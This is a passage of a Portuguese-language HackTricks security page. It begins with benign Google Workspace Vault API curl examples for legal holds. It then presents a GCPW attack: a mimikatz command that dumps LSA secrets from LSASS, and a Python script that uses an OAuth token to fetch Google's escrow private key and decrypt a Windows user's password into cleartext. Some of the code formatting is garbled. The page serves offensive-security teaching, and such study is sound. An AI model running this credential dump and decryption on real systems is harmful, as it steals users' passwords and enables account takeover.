  • Uma SuspensĂŁo no Google Workspace Vault Ă© uma ação de preservação aplicada a usuĂĄrios ou grupos especĂ­ficos para prevenir a exclusĂŁo ou alteração de seus dados dentro dos serviços do Google Workspace. As suspensĂ”es garantem que as informaçÔes relevantes permaneçam intactas e nĂŁo modificadas durante a duração de um caso legal ou investigação.
# List matters
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://vault.googleapis.com/v1/matters?pageSize=10"

# Create matter
curl -X POST \
-H "Authorization: Bearer $access_token" \
-H "Content-Type: application/json" \
-d '{
"name": "Legal Case 2024",
"description": "Matter for the upcoming legal case involving XYZ Corp.",
"state": "OPEN"
}' \
"https://vault.googleapis.com/v1/matters"

# Get specific matter
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://vault.googleapis.com/v1/matters/<MATTER_ID>"

# List holds in a matter
curl -X GET \
-H "Authorization: Bearer $access_token" \
"https://vault.googleapis.com/v1/matters/<MATTER_ID>/holds?pageSize=10"

Mais endpoints de API na documentação.

GCPW - Recuperando a senha em texto claro

Para abusar do GCPW para recuperar o texto claro da senha, Ă© possĂ­vel despejar a senha criptografada do LSASS usando mimikatz:

mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit

EntĂŁo, procure pelo segredo como Chrome-GCPW-<sid> como na imagem:

EntĂŁo, com um token de acesso com o escopo https://www.google.com/accounts/OAuthLogin, Ă© possĂ­vel solicitar a chave privada para descriptografar a senha:

Script para obter a senha em texto claro dado o token de acesso, senha criptografada e id do recurso ```python import requests from base64 import b64decode from Crypto.Cipher import AES, PKCS1_OAEP from Crypto.PublicKey import RSA

def get_decryption_key(access_token, resource_id): try:

Request to get the private key

response = requests.get( f“https://devicepasswordescrowforwindows-pa.googleapis.com/v1/getprivatekey/{resource_id}“, headers={ “Authorization”: f“Bearer {access_token}“ } )

Check if the response is successful

if response.status_code == 200: private_key = response.json()[“base64PrivateKey”]

Properly format the RSA private key

private_key = f“—–BEGIN RSA PRIVATE KEY—–\n{private_key.strip()}\n—–END RSA PRIVATE KEY—–“ return private_key else: raise ValueError(f“Failed to retrieve private key: {response.text}“)

except requests.RequestException as e: print(f“Error occurred while requesting the private key: {e}“) return None

def decrypt_password(access_token, lsa_secret): try:

Obtain the private key using the resource_id

resource_id = lsa_secret[“resource_id”] encrypted_data = b64decode(lsa_secret[“encrypted_password”])

private_key_pem = get_decryption_key(access_token, resource_id) print(“Found private key:”) print(private_key_pem)

if private_key_pem is None: raise ValueError(“Unable to retrieve the private key.”)

Load the RSA private key

rsa_key = RSA.import_key(private_key_pem) key_size = int(rsa_key.size_in_bits() / 8)

Decrypt the encrypted data

cipher_rsa = PKCS1_OAEP.new(rsa_key) session_key = cipher_rsa.decrypt(encrypted_data[:key_size])

Extract the session key and other data from decrypted payload

session_header = session_key[:32] session_nonce = session_key[32:] mac = encrypted_data[-16:]

Decrypt the AES GCM data

aes_cipher = AES.new(session_header, AES.MODE_GCM, nonce=session_nonce) decrypted_password = aes_cipher.decrypt_and_verify(encrypted_data[key_size:-16], mac)

print(“Decrypted Password:”, decrypted_password.decode(“utf-8”))

except Exception as e: print(f“Error occurred during decryption: {e}“)

CHANGE THIS INPUT DATA!

access_token = “<acces_token>” lsa_secret = { “encrypted_password”: “”, “resource_id”: “” }

decrypt_password(access_token, lsa_secret)

</details>

É possível encontrar os componentes principais disso no código-fonte do Chromium:

- domĂ­nio da API: [https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22\&type=code](https://github.com/search?q=repo%3Achromium%2Fchromium%20%22devicepasswordescrowforwindows-pa%22&type=code)
- endpoint da API: [https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70](https://github.com/chromium/chromium/blob/21ab65accce03fd01050a096f536ca14c6040454/chrome/credential_provider/gaiacp/password_recovery_manager.cc#L70)

## ReferĂȘncias

- [https://www.youtube.com/watch?v=FEQxHRRP_5I](https://www.youtube.com/watch?v=FEQxHRRP_5I)
- [https://issues.chromium.org/issues/40063291](https://issues.chromium.org/issues/40063291)

> [!TIP]
> Aprenda e pratique Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprenda e pratique Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprenda e pratique Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Support HackTricks</summary>
>
> - Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
> - **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐩 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositĂłrios do github.
>
> </details>